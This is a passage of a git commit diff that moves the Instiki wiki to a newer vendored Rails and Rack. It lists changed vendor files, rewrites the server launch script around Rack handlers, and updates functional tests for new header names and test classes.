vendor/plugins/rack/test/spec_rack_showstatus.rb create mode 100644 vendor/plugins/rack/test/spec_rack_static.rb create mode 100644 vendor/plugins/rack/test/spec_rack_thin.rb create mode 100644 vendor/plugins/rack/test/spec_rack_urlmap.rb create mode 100644 vendor/plugins/rack/test/spec_rack_utils.rb create mode 100644 vendor/plugins/rack/test/spec_rack_webrick.rb create mode 100644 vendor/plugins/rack/test/testrequest.rb delete mode 100644 vendor/rails/actionmailer/lib/action_mailer/vendor.rb create mode 100644 vendor/rails/actionmailer/lib/action_mailer/vendor/text_format.rb create mode 100644 vendor/rails/actionmailer/lib/action_mailer/vendor/tmail.rb create mode 100644 vendor/rails/actionmailer/test/asset_host_test.rb create mode 100644 vendor/rails/actionmailer/test/fixtures/asset_host_mailer/email_with_asset.html.erb delete mode 100644 vendor/rails/actionpack/lib/action_controller/assertions.rb delete mode 100644 vendor/rails/actionpack/lib/action_controller/caching/sql_cache.rb delete mode 100644 vendor/rails/actionpack/lib/action_controller/cgi_ext/session.rb delete mode 100644 vendor/rails/actionpack/lib/action_controller/components.rb create mode 100644 vendor/rails/actionpack/lib/action_controller/failsafe.rb create mode 100644 vendor/rails/actionpack/lib/action_controller/middleware_stack.rb create mode 100644 vendor/rails/actionpack/lib/action_controller/middlewares.rb create mode 100644 vendor/rails/actionpack/lib/action_controller/params_parser.rb create mode 100644 vendor/rails/actionpack/lib/action_controller/rack_ext.rb create mode 100644 vendor/rails/actionpack/lib/action_controller/rack_ext/lock.rb create mode 100644 vendor/rails/actionpack/lib/action_controller/rack_ext/multipart.rb create mode 100644 vendor/rails/actionpack/lib/action_controller/rack_ext/parse_query.rb delete mode 100644 vendor/rails/actionpack/lib/action_controller/rack_process.rb delete mode 100644 vendor/rails/actionpack/lib/action_controller/request_profiler.rb create mode 100644 vendor/rails/actionpack/lib/action_controller/rewindable_input.rb create mode 100644 vendor/rails/actionpack/lib/action_controller/session/abstract_store.rb delete mode 100644 vendor/rails/actionpack/lib/action_controller/session/active_record_store.rb delete mode 100755 vendor/rails/actionpack/lib/action_controller/session/drb_server.rb delete mode 100644 vendor/rails/actionpack/lib/action_controller/session/drb_store.rb create mode 100644 vendor/rails/actionpack/lib/action_controller/uploaded_file.rb create mode 100644 vendor/rails/actionpack/lib/action_controller/url_encoded_pair_parser.rb create mode 100644 vendor/rails/actionpack/lib/action_controller/vendor/html-scanner.rb create mode 100644 vendor/rails/actionpack/lib/action_view/erb/util.rb delete mode 100644 vendor/rails/actionpack/test/controller/cgi_test.rb delete mode 100644 vendor/rails/actionpack/test/controller/components_test.rb delete mode 100644 vendor/rails/actionpack/test/controller/http_authentication_test.rb create mode 100644 vendor/rails/actionpack/test/controller/http_basic_authentication_test.rb create mode 100644 vendor/rails/actionpack/test/controller/http_digest_authentication_test.rb delete mode 100644 vendor/rails/actionpack/test/controller/integration_upload_test.rb create mode 100644 vendor/rails/actionpack/test/controller/middleware_stack_test.rb create mode 100644 vendor/rails/actionpack/test/controller/request/json_params_parsing_test.rb create mode 100644 vendor/rails/actionpack/test/controller/request/multipart_params_parsing_test.rb create mode 100644 vendor/rails/actionpack/test/controller/request/query_string_parsing_test.rb create mode 100644 vendor/rails/actionpack/test/controller/request/url_encoded_params_parsing_test.rb create mode 100644 vendor/rails/actionpack/test/controller/request/xml_params_parsing_test.rb create mode 100644 vendor/rails/actionpack/test/controller/session/test_session_test.rb delete mode 100644 vendor/rails/actionpack/test/controller/session_fixation_test.rb delete mode 100644 vendor/rails/actionpack/test/controller/session_management_test.rb create mode 100644 vendor/rails/actionpack/test/fixtures/alternate_helpers/foo_helper.rb create mode 100644 vendor/rails/actionpack/test/fixtures/multipart/empty create mode 100644 vendor/rails/actionpack/test/fixtures/multipart/hello.txt create mode 100644 vendor/rails/actionpack/test/fixtures/multipart/none create mode 100644 vendor/rails/actionpack/test/fixtures/public/500.da.html create mode 100644 vendor/rails/actionpack/test/fixtures/test/_one.html.erb create mode 100644 vendor/rails/actionpack/test/fixtures/test/_two.html.erb create mode 100644 vendor/rails/actionpack/test/fixtures/test/dont_pick_me create mode 100644 vendor/rails/actionpack/test/fixtures/test/hello_world.da.html.erb create mode 100644 vendor/rails/actionpack/test/fixtures/test/render_explicit_html_template.js.rjs create mode 100644 vendor/rails/actionpack/test/fixtures/test/render_implicit_html_template.js.rjs create mode 100644 vendor/rails/actionpack/test/fixtures/test/render_implicit_html_template_from_xhr_request.html.erb create mode 100644 vendor/rails/actionpack/test/view/test_case_test.rb create mode 100644 vendor/rails/activerecord/lib/active_record/autosave_association.rb create mode 100644 vendor/rails/activerecord/lib/active_record/dynamic_scope_match.rb create mode 100644 vendor/rails/activerecord/lib/active_record/nested_attributes.rb create mode 100644 vendor/rails/activerecord/lib/active_record/session_store.rb create mode 100644 vendor/rails/activerecord/test/cases/autosave_association_test.rb create mode 100644 vendor/rails/activerecord/test/cases/nested_attributes_test.rb create mode 100644 vendor/rails/activerecord/test/cases/repair_helper.rb create mode 100644 vendor/rails/activerecord/test/connections/jdbc_jdbcderby/connection.rb create mode 100644 vendor/rails/activerecord/test/connections/jdbc_jdbch2/connection.rb create mode 100644 vendor/rails/activerecord/test/connections/jdbc_jdbchsqldb/connection.rb create mode 100644 vendor/rails/activerecord/test/connections/jdbc_jdbcmysql/connection.rb create mode 100644 vendor/rails/activerecord/test/connections/jdbc_jdbcpostgresql/connection.rb create mode 100644 vendor/rails/activerecord/test/connections/jdbc_jdbcsqlite3/connection.rb create mode 100644 vendor/rails/activerecord/test/fixtures/member_types.yml create mode 100644 vendor/rails/activerecord/test/models/bird.rb create mode 100644 vendor/rails/activerecord/test/models/member_type.rb create mode 100644 vendor/rails/activerecord/test/models/ship_part.rb create mode 100644 vendor/rails/activesupport/lib/active_support/backtrace_cleaner.rb create mode 100644 vendor/rails/activesupport/lib/active_support/cache/strategy/local_cache.rb create mode 100644 vendor/rails/activesupport/lib/active_support/core_ext/try.rb create mode 100644 vendor/rails/activesupport/lib/active_support/message_encryptor.rb create mode 100644 vendor/rails/activesupport/lib/active_support/message_verifier.rb create mode 100644 vendor/rails/activesupport/lib/active_support/testing/assertions.rb create mode 100644 vendor/rails/activesupport/lib/active_support/testing/declarative.rb create mode 100644 vendor/rails/activesupport/lib/active_support/testing/deprecation.rb create mode 100644 vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.1/.gitignore create mode 100755 vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.1/MIT-LICENSE create mode 100644 vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.1/README.textile create mode 100644 vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.1/Rakefile create mode 100644 vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.1/i18n.gemspec rename vendor/rails/activesupport/lib/active_support/vendor/{i18n-0.0.1 => i18n-0.1.1/lib}/i18n.rb (91%) rename vendor/rails/activesupport/lib/active_support/vendor/{i18n-0.0.1 => i18n-0.1.1/lib}/i18n/backend/simple.rb (93%) rename vendor/rails/activesupport/lib/active_support/vendor/{i18n-0.0.1 => i18n-0.1.1/lib}/i18n/exceptions.rb (99%) create mode 100644 vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.1/test/all.rb create mode 100644 vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.1/test/i18n_exceptions_test.rb create mode 100644 vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.1/test/i18n_test.rb create mode 100644 vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.1/test/locale/en.rb create mode 100644 vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.1/test/locale/en.yml create mode 100644 vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.1/test/simple_backend_test.rb rename vendor/rails/activesupport/lib/active_support/vendor/{memcache-client-1.5.1 => memcache-client-1.5.0.5}/memcache.rb (69%) delete mode 100644 vendor/rails/activesupport/lib/active_support/vendor/xml-simple-1.0.11/xmlsimple.rb create mode 100644 vendor/rails/activesupport/lib/active_support/xml_mini.rb create mode 100644 vendor/rails/activesupport/test/clean_backtrace_test.rb create mode 100644 vendor/rails/activesupport/test/core_ext/object_ext_test.rb create mode 100644 vendor/rails/activesupport/test/message_encryptor_test.rb create mode 100644 vendor/rails/activesupport/test/message_verifier_test.rb create mode 100755 vendor/rails/ci/ci_build.rb create mode 100644 vendor/rails/ci/ci_setup_notes.txt create mode 100644 vendor/rails/ci/cruise_config.rb create mode 100644 vendor/rails/ci/geminstaller.yml create mode 100644 vendor/rails/ci/site.css create mode 100644 vendor/rails/ci/site_config.rb delete mode 100755 vendor/rails/railties/bin/performance/request delete mode 100755 vendor/rails/railties/bin/process/inspector delete mode 100755 vendor/rails/railties/bin/process/reaper delete mode 100755 vendor/rails/railties/bin/process/spawner delete mode 100644 vendor/rails/railties/config.ru delete mode 100644 vendor/rails/railties/configs/apache.conf create mode 100644 vendor/rails/railties/configs/initializers/backtrace_silencers.rb create mode 100644 vendor/rails/railties/configs/initializers/session_store.rb delete mode 100644 vendor/rails/railties/configs/lighttpd.conf create mode 100644 vendor/rails/railties/dispatches/config.ru create mode 100644 vendor/rails/railties/doc/guides/asciidoc.conf create mode 100644 vendor/rails/railties/doc/guides/html/2_3_release_notes.html create mode 100644 vendor/rails/railties/doc/guides/html/action_mailer_basics.html create mode 100644 vendor/rails/railties/doc/guides/html/active_record_basics.html create mode 100644 vendor/rails/railties/doc/guides/html/active_record_querying.html delete mode 100644 vendor/rails/railties/doc/guides/html/benchmarking_and_profiling.html delete mode 100644 vendor/rails/railties/doc/guides/html/finders.html create mode 100644 vendor/rails/railties/doc/guides/html/i18n.html create mode 100644 vendor/rails/railties/doc/guides/html/performance_testing.html create mode 100644 vendor/rails/railties/doc/guides/html/rails_on_rack.html create mode 100644 vendor/rails/railties/doc/guides/source/2_3_release_notes.txt create mode 100644 vendor/rails/railties/doc/guides/source/action_mailer_basics.txt rename vendor/rails/railties/doc/guides/source/{finders.txt => active_record_querying.txt} (59%) delete mode 100644 vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/appendix.txt delete mode 100644 vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/digging_deeper.txt delete mode 100644 vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/edge_rails_features.txt delete mode 100644 vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/gameplan.txt delete mode 100644 vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/index.txt delete mode 100644 vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/rubyprof.txt delete mode 100644 vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/statistics.txt create mode 100644 vendor/rails/railties/doc/guides/source/creating_plugins/creating_plugins/lib/main.rb create mode 100644 vendor/rails/railties/doc/guides/source/creating_plugins/gems.txt create mode 100644 vendor/rails/railties/doc/guides/source/creating_plugins/generator_commands.txt create mode 100644 vendor/rails/railties/doc/guides/source/creating_plugins/generators.txt delete mode 100644 vendor/rails/railties/doc/guides/source/creating_plugins/migration_generator.txt create mode 100644 vendor/rails/railties/doc/guides/source/creating_plugins/migrations.txt delete mode 100644 vendor/rails/railties/doc/guides/source/creating_plugins/odds_and_ends.txt create mode 100644 vendor/rails/railties/doc/guides/source/creating_plugins/rdoc.txt rename vendor/rails/railties/doc/guides/source/creating_plugins/{custom_route.txt => routes.txt} (72%) create mode 100644 vendor/rails/railties/doc/guides/source/creating_plugins/setup.txt create mode 100644 vendor/rails/railties/doc/guides/source/creating_plugins/tasks.txt create mode 100644 vendor/rails/railties/doc/guides/source/creating_plugins/tests.txt create mode 100644 vendor/rails/railties/doc/guides/source/i18n.txt create mode 100644 vendor/rails/railties/doc/guides/source/images/customized_error_messages.png create mode 100644 vendor/rails/railties/doc/guides/source/images/error_messages.png create mode 100644 vendor/rails/railties/doc/guides/source/images/i18n/demo_localized_pirate.png create mode 100644 vendor/rails/railties/doc/guides/source/images/i18n/demo_translated_en.png create mode 100644 vendor/rails/railties/doc/guides/source/images/i18n/demo_translated_pirate.png create mode 100644 vendor/rails/railties/doc/guides/source/images/i18n/demo_translation_missing.png create mode 100644 vendor/rails/railties/doc/guides/source/images/i18n/demo_untranslated.png create mode 100644 vendor/rails/railties/doc/guides/source/images/posts_index.png create mode 100644 vendor/rails/railties/doc/guides/source/images/rails_welcome.png create mode 100644 vendor/rails/railties/doc/guides/source/images/validation_error_messages.png create mode 100644 vendor/rails/railties/doc/guides/source/performance_testing.txt create mode 100644 vendor/rails/railties/doc/guides/source/rails_on_rack.txt delete mode 100644 vendor/rails/railties/doc/guides/source/templates/inline.css delete mode 100644 vendor/rails/railties/helpers/application.rb create mode 100644 vendor/rails/railties/helpers/application_controller.rb delete mode 100755 vendor/rails/railties/lib/commands/performance/request.rb delete mode 100644 vendor/rails/railties/lib/commands/process/inspector.rb delete mode 100644 vendor/rails/railties/lib/commands/process/reaper.rb delete mode 100644 vendor/rails/railties/lib/commands/process/spawner.rb delete mode 100644 vendor/rails/railties/lib/commands/process/spinner.rb delete mode 100644 vendor/rails/railties/lib/commands/servers/base.rb delete mode 100644 vendor/rails/railties/lib/commands/servers/lighttpd.rb delete mode 100644 vendor/rails/railties/lib/commands/servers/mongrel.rb delete mode 100644 vendor/rails/railties/lib/commands/servers/new_mongrel.rb delete mode 100644 vendor/rails/railties/lib/commands/servers/thin.rb delete mode 100644 vendor/rails/railties/lib/commands/servers/webrick.rb create mode 100644 vendor/rails/railties/lib/rails/backtrace_cleaner.rb delete mode 100644 vendor/rails/railties/lib/rails/mongrel_server/commands.rb delete mode 100644 vendor/rails/railties/lib/rails/mongrel_server/handler.rb create mode 100644 vendor/rails/railties/lib/rails/rack/debugger.rb create mode 100644 vendor/rails/railties/lib/rails/rack/log_tailer.rb delete mode 100644 vendor/rails/railties/lib/rails/rack/logger.rb create mode 100644 vendor/rails/railties/lib/rails/rack/metal.rb create mode 100644 vendor/rails/railties/lib/rails_generator/generators/applications/app/scm/git.rb create mode 100644 vendor/rails/railties/lib/rails_generator/generators/applications/app/scm/scm.rb create mode 100644 vendor/rails/railties/lib/rails_generator/generators/applications/app/scm/svn.rb create mode 100644 vendor/rails/railties/lib/rails_generator/generators/applications/app/template_runner.rb create mode 100644 vendor/rails/railties/lib/rails_generator/generators/components/controller/templates/helper_test.rb create mode 100644 vendor/rails/railties/lib/rails_generator/generators/components/helper/USAGE create mode 100644 vendor/rails/railties/lib/rails_generator/generators/components/helper/helper_generator.rb create mode 100644 vendor/rails/railties/lib/rails_generator/generators/components/helper/templates/helper.rb create mode 100644 vendor/rails/railties/lib/rails_generator/generators/components/helper/templates/helper_test.rb create mode 100644 vendor/rails/railties/lib/rails_generator/generators/components/metal/USAGE create mode 100644 vendor/rails/railties/lib/rails_generator/generators/components/metal/metal_generator.rb create mode 100644 vendor/rails/railties/lib/rails_generator/generators/components/metal/templates/metal.rb create mode 100644 vendor/rails/railties/lib/rails_generator/generators/components/resource/templates/helper_test.rb create mode 100644 vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/helper_test.rb create mode 100644 vendor/rails/railties/lib/tasks/middleware.rake create mode 100644 vendor/rails/railties/test/backtrace_cleaner_test.rb create mode 100644 vendor/rails/railties/test/fixtures/plugins/engines/engine/app/controllers/engine_controller.rb create mode 100644 vendor/rails/railties/test/fixtures/plugins/engines/engine/app/models/engine_model.rb create mode 100644 vendor/rails/railties/test/fixtures/plugins/engines/engine/config/routes.rb create mode 100644 vendor/rails/railties/test/fixtures/plugins/engines/engine/init.rb create mode 100644 vendor/rails/railties/test/generators/rails_helper_generator_test.rb create mode 100644 vendor/rails/railties/test/generators/rails_template_runner_test.rb create mode 100644 vendor/rails/railties/test/vendor/gems/dummy-gem-f-1.0.0/.specification create mode 100644 vendor/rails/railties/test/vendor/gems/dummy-gem-f-1.0.0/lib/dummy-gem-f.rb create mode 100644 vendor/rails/railties/test/vendor/gems/dummy-gem-g-1.0.0/.specification create mode 100644 vendor/rails/railties/test/vendor/gems/dummy-gem-g-1.0.0/lib/dummy-gem-g.rb diff --git a/app/controllers/application.rb b/app/controllers/application_controller.rb similarity index 98% rename from app/controllers/application.rb rename to app/controllers/application_controller.rb index 21e7d7d7..07add258 100644 --- a/app/controllers/application.rb +++ b/app/controllers/application_controller.rb @@ -107,7 +107,7 @@ class ApplicationController < ActionController::Base def remember_location if request.method == :get and - response.headers['Status'] == '200 OK' and not \ + @status == '200' and not \ %w(locked save back file pic import).include?(action_name) session[:return_to] = request.request_uri logger.debug "Session ##{session.object_id}: remembered URL '#{session[:return_to]}'" @@ -115,7 +115,7 @@ class ApplicationController < ActionController::Base end def rescue_action_in_public(exception) - if exception.instance_of?(CGI::Session::CookieStore::TamperedWithCookie) + if exception.instance_of?(ActiveController::Session::CookieStore::TamperedWithCookie) render :text => 'Stale session. Please reload the page.', :status =>500, :layout => 'error' else render :status => 500, :text => <<-EOL @@ -241,7 +241,7 @@ module Instiki module VERSION #:nodoc: MAJOR = 0 MINOR = 16 - TINY = 2 + TINY = 3 SUFFIX = '(MML+)' PRERELEASE = false if PRERELEASE diff --git a/app/views/layouts/error.html.erb b/app/views/layouts/error.html.erb index 48a585e4..e7033678 100644 --- a/app/views/layouts/error.html.erb +++ b/app/views/layouts/error.html.erb @@ -2,7 +2,7 @@ - <%= h headers['Status'] %> + <%= h("#{@status} #{@status_message}") %> @@ -27,7 +27,7 @@

- <%= h headers['Status'] %> + <%= h("#{@status} #{@status_message}") %>

diff --git a/config/environment.rb b/config/environment.rb index 4a3c41e0..3c0c53da 100644 --- a/config/environment.rb +++ b/config/environment.rb @@ -3,10 +3,11 @@ #### # Make sure we are using the latest rexml -rexml_versions = ['', 'vendor/plugins/rexml/lib/'].collect { |v| +rexml_versions = ['', File.dirname(__FILE__) + '/../vendor/plugins/rexml/lib/'].collect { |v| `ruby -r #{v + 'rexml/rexml'} -e 'p REXML::VERSION'`.split('.').collect {|n| n.to_i} } -$:.unshift('vendor/plugins/rexml/lib') if (rexml_versions[0] <=> rexml_versions[1]) == -1 +$:.unshift(File.dirname(__FILE__) + '/../vendor/plugins/rexml/lib') if (rexml_versions[0] <=> rexml_versions[1]) == -1 +$: << File.dirname(__FILE__) + '/../vendor/plugins/rack/lib' require File.join(File.dirname(__FILE__), 'boot') require 'active_support/secure_random' diff --git a/instiki b/instiki index bf720a1c..757a8312 100755 --- a/instiki +++ b/instiki @@ -1,5 +1,6 @@ #!/usr/bin/env ruby +$: << File.dirname(__FILE__) + '/vendor/plugins/rack/lib' # Executable file for a gem # must be same as ./instiki.rb diff --git a/lib/sanitizer.rb b/lib/sanitizer.rb index aa886ab6..10faa662 100644 --- a/lib/sanitizer.rb +++ b/lib/sanitizer.rb @@ -5,7 +5,7 @@ module Sanitizer # # Based heavily on Sam Ruby's code in the Universal FeedParser. - require 'html/tokenizer' + require 'action_controller/vendor/html-scanner/html/tokenizer' require 'node' require 'stringsupport' diff --git a/script/server b/script/server index 98789382..427c419b 100755 --- a/script/server +++ b/script/server @@ -1,65 +1,108 @@ #!/usr/bin/env ruby +require File.dirname(__FILE__) + '/../config/boot' +# Don't do this. Instead, put it here, where we can customize it. +#require 'commands/server' -require 'webrick' +require 'active_support' +require 'action_controller' + +require 'fileutils' require 'optparse' -OPTIONS = { - :port => 2500, - :ip => "0.0.0.0", - :environment => "production", - :server_root => File.expand_path(File.dirname(__FILE__) + "/../public/"), - :server_type => WEBrick::SimpleServer, - :mime_types => WEBrick::HTTPUtils::DefaultMimeTypes.merge({ - 'avi' => 'video/x-msvideo', - 'gz' => 'application/x-gzip', - 'js' => 'application/x-javascript', - 'nb' => 'application/mathematica', - 'pdf' => 'application/pdf', - 'svg' => 'application/svg+xml', - 'tar' => 'application/x-tar', - 'tex' => 'application/x-tex', - 'xhtml' => 'application/xhtml+xml', - 'xml' => 'application/xml', - 'xslt' => 'application/xslt+xml' - }) +# TODO: Push Thin adapter upstream so we don't need worry about requiring it +begin + require_library_or_gem 'thin' +rescue Exception + # Thin not available +end + +options = { + :Port => 2500, + :Host => "0.0.0.0", + :environment => (ENV['RAILS_ENV'] || "production").dup, + :config => RAILS_ROOT + "/config.ru", + :detach => false, + :debugger => false } -ARGV.options do |opts| - script_name = File.basename($0) - opts.banner = "Usage: ruby #{script_name} [options]" - - opts.separator "" - +ARGV.clone.options do |opts| opts.on("-p", "--port=port", Integer, - "Runs Instiki on the specified port.", - "Default: 2500") { } -# "Default: 2500") { |OPTIONS[:port]| } + "Runs Instiki on the specified port.", "Default: 2500") { |v| options[:Port] = v } opts.on("-b", "--binding=ip", String, - "Binds Instiki to the specified ip.", - "Default: 0.0.0.0") { } -# "Default: 0.0.0.0") { |OPTIONS[:ip]| } + "Binds Instiki to the specified ip.", "Default: 0.0.0.0") { |v| options[:Host] = v } + opts.on("-c", "--config=file", String, + "Use custom rackup configuration file") { |v| options[:config] = v } + opts.on("-d", "--daemon", "Make server run as a Daemon.") { options[:detach] = true } + opts.on("-u", "--debugger", "Enable ruby-debugging for the server.") { options[:debugger] = true } opts.on("-e", "--environment=name", String, "Specifies the environment to run this server under (test/development/production).", - "Default: development") { } -# "Default: development") { |OPTIONS[:environment]| } - opts.on("-d", "--daemon", - "Make Instiki run as a Daemon (only works if fork is available -- meaning on *nix)." - ) { OPTIONS[:server_type] = WEBrick::Daemon } + "Default: production") { |v| options[:environment] = v } opts.separator "" - opts.on("-h", "--help", - "Show this help message.") { puts opts; exit } + opts.on("-h", "--help", "Show this help message.") { puts opts; exit } opts.parse! end -ENV["RAILS_ENV"] = OPTIONS[:environment] -require File.dirname(__FILE__) + "/../config/environment" -require 'webrick_server' +server = Rack::Handler.get(ARGV.first) rescue nil +unless server + begin + server = Rack::Handler::Mongrel + rescue LoadError => e + server = Rack::Handler::WEBrick + end +end -OPTIONS['working_directory'] = File.expand_path(RAILS_ROOT) +puts "=> Booting #{ActiveSupport::Inflector.demodulize(server)}" +puts "=> Rails #{Rails.version} application starting on http://#{options[:Host]}:#{options[:Port]}" -puts "=> Instiki started on http://#{OPTIONS[:ip]}:#{OPTIONS[:port]}" -puts "=> Ctrl-C to shutdown; call with --help for options" if OPTIONS[:server_type] == WEBrick::SimpleServer -DispatchServlet.dispatch(OPTIONS) +%w(cache pids sessions sockets).each do |dir_to_make| + FileUtils.mkdir_p(File.join(RAILS_ROOT, 'tmp', dir_to_make)) +end + +if options[:detach] + Process.daemon + pid = "#{RAILS_ROOT}/tmp/pids/server.pid" + File.open(pid, 'w'){ |f| f.write(Process.pid) } + at_exit { File.delete(pid) if File.exist?(pid) } +end + +ENV["RAILS_ENV"] = options[:environment] +RAILS_ENV.replace(options[:environment]) if defined?(RAILS_ENV) + +if File.exist?(options[:config]) + config = options[:config] + if config =~ /\.ru$/ + cfgfile = File.read(config) + if cfgfile[/^#\\(.*)/] + opts.parse!($1.split(/\s+/)) + end + inner_app = eval("Rack::Builder.new {( " + cfgfile + "\n )}.to_app", nil, config) + else + require config + inner_app = Object.const_get(File.basename(config, '.rb').capitalize) + end +else + require RAILS_ROOT + "/config/environment" + inner_app = ActionController::Dispatcher.new +end + +app = Rack::Builder.new { + use Rails::Rack::LogTailer unless options[:detach] + use Rails::Rack::Static + use Rails::Rack::Debugger if options[:debugger] + run inner_app +}.to_app + +puts "=> Call with -d to detach" + +trap(:INT) { exit } + +puts "=> Ctrl-C to shutdown server" + +begin + server.run(app, options.merge(:AccessLog => [])) +ensure + puts 'Exiting' +end diff --git a/test/functional/admin_controller_test.rb b/test/functional/admin_controller_test.rb index 7d483f03..158bdffa 100644 --- a/test/functional/admin_controller_test.rb +++ b/test/functional/admin_controller_test.rb @@ -6,7 +6,7 @@ require 'admin_controller' # Raise errors beyond the default web-based presentation class AdminController; def rescue_action(e) logger.error(e); raise e end; end -class AdminControllerTest < Test::Unit::TestCase +class AdminControllerTest < ActionController::TestCase fixtures :webs, :pages, :revisions, :system, :wiki_references def setup diff --git a/test/functional/application_test.rb b/test/functional/application_test.rb index 2436ac99..5dfad5b1 100755 --- a/test/functional/application_test.rb +++ b/test/functional/application_test.rb @@ -6,7 +6,7 @@ require 'wiki_controller' # Need some concrete class to test the abstract class features class WikiController; def rescue_action(e) logger.error(e); raise e end; end -class ApplicationTest < Test::Unit::TestCase +class ApplicationTest < ActionController::TestCase fixtures :webs, :pages, :revisions, :system Mime::LOOKUP["text/html"] = HTML @@ -20,43 +20,43 @@ class ApplicationTest < Test::Unit::TestCase def test_utf8_header get :show, :web => 'wiki1', :id => 'HomePage' - assert_equal 'text/html; charset=utf-8', @response.headers['type'] + assert_equal 'text/html; charset=utf-8', @response.headers['Content-Type'] end def test_mathplayer_mime_type @request.user_agent = 'MathPlayer' get :show, :web => 'wiki1', :id => 'HomePage' - assert_equal 'application/xhtml+xml', @response.headers['type'] + assert_equal 'application/xhtml+xml', @response.headers['Content-Type'] end def test_validator_mime_type @request.user_agent = 'Validator' get :show, :web => 'wiki1', :id => 'HomePage' - assert_equal 'application/xhtml+xml; charset=utf-8', @response.headers['type'] + assert_equal 'application/xhtml+xml; charset=utf-8', @response.headers['Content-Type'] end def test_accept_header_xhtml @request.user_agent = 'Mozilla/5.0' @request.env.update({'HTTP_ACCEPT' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' }) get :show, :web => 'wiki1', :id => 'HomePage' - assert_equal 'application/xhtml+xml; charset=utf-8', @response.headers['type'] + assert_equal 'application/xhtml+xml; charset=utf-8', @response.headers['Content-Type'] end def test_accept_header_html @request.user_agent = 'Foo' @request.env.update({'HTTP_ACCEPT' => 'text/html,application/xml;q=0.9,*/*;q=0.8' }) get :show, :web => 'wiki1', :id => 'HomePage' - assert_equal 'text/html; charset=utf-8', @response.headers['type'] + assert_equal 'text/html; charset=utf-8', @response.headers['Content-Type'] end def test_tex_mime_type get :tex, :web => 'wiki1', :id => 'HomePage' - assert_equal 'text/plain; charset=utf-8', @response.headers['type'] + assert_equal 'text/plain; charset=utf-8', @response.headers['Content-Type'] end def test_atom_mime_type get :atom_with_content, :web => 'wiki1' - assert_equal 'application/atom+xml; charset=utf-8', @response.headers['type'] + assert_equal 'application/atom+xml; charset=utf-8', @response.headers['Content-Type'] end def test_connect_to_model_unknown_wiki diff --git a/test/functional/file_controller_test.rb b/test/functional/file_controller_test.rb index 779a4d74..2abc1edd 100755 --- a/test/functional/file_controller_test.rb +++ b/test/functional/file_controller_test.rb @@ -8,7 +8,7 @@ require 'stringio' # Raise errors beyond the default web-based presentation class FileController; def rescue_action(e) logger.error(e); raise e end; end -class FileControllerTest < Test::Unit::TestCase +class FileControllerTest < ActionController::TestCase fixtures :webs, :pages, :revisions, :system def setup @@ -41,7 +41,7 @@ class FileControllerTest < Test::Unit::TestCase assert_response(:success, bypass_body_parsing = true) assert_equal "Contents of the file", r.body - assert_equal 'text/plain', r.headers['type'] + assert_equal 'text/plain', r.headers['Content-Type'] assert_equal 'inline; filename="foo.txt"', r.headers['Content-Disposition'] end @@ -53,7 +53,7 @@ class FileControllerTest < Test::Unit::TestCase assert_response(:success, bypass_body_parsing = true) assert_equal "Contents of the file", r.body - assert_equal 'application/octet-stream', r.headers['type'] + assert_equal 'application/octet-stream', r.headers['Content-Type'] assert_equal 'attachment; filename="foo.html"', r.headers['Content-Disposition'] end @@ -65,7 +65,7 @@ class FileControllerTest < Test::Unit::TestCase assert_response(:success, bypass_body_parsing = true) assert_equal "aaa\nbbb\n", r.body - assert_equal 'application/pdf', r.headers['type'] + assert_equal 'application/pdf', r.headers['Content-Type'] end def test_pic_download_gif @@ -75,7 +75,7 @@ class FileControllerTest < Test::Unit::TestCase r = get :file, :web => 'wiki1', :id => 'rails.gif' assert_response(:success, bypass_body_parsing = true) - assert_equal 'image/gif', r.headers['type'] + assert_equal 'image/gif', r.headers['Content-Type'] assert_equal pic.size, r.body.size assert_equal pic, r.body assert_equal 'inline; filename="rails.gif"', r.headers['Content-Disposition'] diff --git a/test/functional/routes_test.rb b/test/functional/routes_test.rb index 7cdb46a7..177b2f4d 100644 --- a/test/functional/routes_test.rb +++ b/test/functional/routes_test.rb @@ -4,7 +4,7 @@ require File.dirname(__FILE__) + '/../test_helper' require 'action_controller/routing' -class RoutesTest < Test::Unit::TestCase +class RoutesTest < ActionController::TestCase def test_parse_uri assert_routing('', :controller => 'wiki', :action => 'index') diff --git a/test/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb index 666d5fe8..4b816c6e 100755 --- a/test/functional/wiki_controller_test.rb +++ b/test/functional/wiki_controller_test.rb @@ -13,7 +13,7 @@ require 'zip/zipfilesystem' # Raise errors beyond the default web-based presentation class WikiController; def rescue_action(e) logger.error(e); raise e end; end -class WikiControllerTest < Test::Unit::TestCase +class WikiControllerTest < ActionController::TestCase fixtures :webs, :pages, :revisions, :system, :wiki_references def setup @@ -30,6 +30,7 @@ class WikiControllerTest < Test::Unit::TestCase @home = @page = pages(:home_page) @oak = pages(:oak) @elephant = pages(:elephant) + @eternity = Regexp.new('author=.*; path=/; expires=' + Time.utc(2030).strftime("%a, %d-%b-%Y %H:%M:%S GMT")) end def test_authenticate @@ -37,7 +38,7 @@ class WikiControllerTest < Test::Unit::TestCase get :authenticate, :web => 'wiki1', :password => 'pswd' assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'HomePage' - assert_equal ['pswd'], @response.cookies['wiki1'] + assert_equal 'pswd', @response.cookies['wiki1'] end def test_authenticate_wrong_password @@ -118,7 +119,7 @@ class WikiControllerTest < Test::Unit::TestCase r = process 'export_html', 'web' => 'wiki1' assert_response(:success, bypass_body_parsing = true) - assert_equal 'application/zip', r.headers['type'] + assert_equal 'application/zip', r.headers['Content-Type'] assert_match /attachment; 